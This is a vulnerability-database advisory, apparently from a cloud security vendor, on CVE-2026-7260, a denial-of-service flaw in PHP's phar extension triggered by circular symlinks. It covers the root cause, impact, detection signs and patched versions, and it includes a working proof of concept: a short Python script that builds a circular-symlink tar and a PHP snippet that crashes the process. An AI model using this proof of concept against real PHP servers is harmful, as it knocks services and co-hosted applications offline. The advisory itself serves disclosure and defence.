
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-7260 is a stack overflow vulnerability in PHP's ext-phar extension caused by circular symbolic links in phar archives leading to unbounded recursion. The phar_get_link_source() function in ext/phar/util.c recursively follows symbolic links without any depth limit or cycle detection, allowing a crafted tar-based phar archive to exhaust the C stack and crash the PHP process. Affected versions include PHP 8.2.x before 8.2.33, 8.3.x before 8.3.33, 8.4.x before 8.4.24, and 8.5.x before 8.5.9. The vulnerability was published on July 30, 2026, and carries a CVSS v4.0 base score of 5.4 (Medium) and a CVSS v3.1 base score of 5.5 (Moderate) (GitHub Advisory, ENISA EUVD).
The root cause is uncontrolled recursion (CWE-674) and uncontrolled resource consumption (CWE-400) in the phar_get_link_source() function located in ext/phar/util.c. The function recursively resolves symbolic link targets within phar manifests without implementing any cycle detection or recursion depth limit; when two or more entries form a circular symlink chain (e.g., file_a → file_b → file_a), the function recurses indefinitely until the C stack is exhausted, resulting in a segmentation fault. Exploitation requires a user or application to open a specially crafted tar-based phar archive and access a symlinked entry (e.g., via PharData::getContent()). A proof-of-concept using Python's tarfile module to construct the circular archive and a one-liner PHP script to trigger the crash is publicly documented in the official advisory (GitHub Advisory).
Successful exploitation causes the PHP process to crash (segmentation fault due to stack exhaustion), resulting in a denial of service. There is no confidentiality or integrity impact — the vulnerability exclusively affects availability of the PHP process and any dependent system components. In shared hosting or containerized environments where multiple applications share a PHP process pool, a crash could affect co-located services, though lateral movement or data exfiltration are not possible through this vulnerability alone (GitHub Advisory, ENISA EUVD).
tarfile module to create a tar-based phar archive (circular_symlinks.tar) containing two symlink entries that reference each other — file_a pointing to file_b and file_b pointing to file_a.import tarfile
with tarfile.open('circular_symlinks.tar', 'w') as tar:
a = tarfile.TarInfo(name='file_a'); a.type = tarfile.SYMTYPE; a.linkname = 'file_b'; tar.addfile(a)
b = tarfile.TarInfo(name='file_b'); b.type = tarfile.SYMTYPE; b.linkname = 'file_a'; tar.addfile(b)circular_symlinks.tar in a location accessible to the target PHP application (e.g., via file upload, shared storage, or direct filesystem access).$p = new PharData("circular_symlinks.tar");
$p["file_a"]->getContent();phar_get_link_source() function enters infinite recursion following the circular symlink chain, exhausting the C stack and causing a segmentation fault, crashing the PHP process (GitHub Advisory).SIGSEGV) or stack overflow errors originating from the PHP process; web server logs (Apache/Nginx) recording 500 Internal Server Error responses coinciding with phar file access..tar or .phar files in upload directories or temporary folders, particularly those with unusually small sizes but containing symlink entries; files named with patterns like circular_symlinks.tar.[pool www] child ... exited on signal 11).Upgrade PHP to the patched versions: 8.2.33, 8.3.33, 8.4.24, or 8.5.9, which introduce cycle detection or depth limiting in phar_get_link_source(). No official configuration-based workaround has been published; as an interim measure, administrators should restrict untrusted user input from being processed as phar archives and disable phar processing for untrusted files where possible (e.g., via phar.readonly = On in php.ini if write access is not needed). Linux distribution packages (Fedora, RHEL, Debian, Slackware) have also begun shipping updated PHP packages addressing this CVE (GitHub Advisory, Linux Compatible).
The vulnerability was credited to Calvin Young of eWalker Consulting (HK) Limited and Enoch Chow of Isomorph Cyber, and was published as a Moderate severity advisory by the PHP security team on July 30, 2026. Security news outlets including CyberSecurityNews and CyberPress covered the broader PHP patch release addressing three flaws including this CVE. Remi Collet's PHP repository blog also noted the updated PHP versions. No significant controversy or unusual community reaction has been observed (GitHub Advisory, CyberSecurityNews, Remi's Blog).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."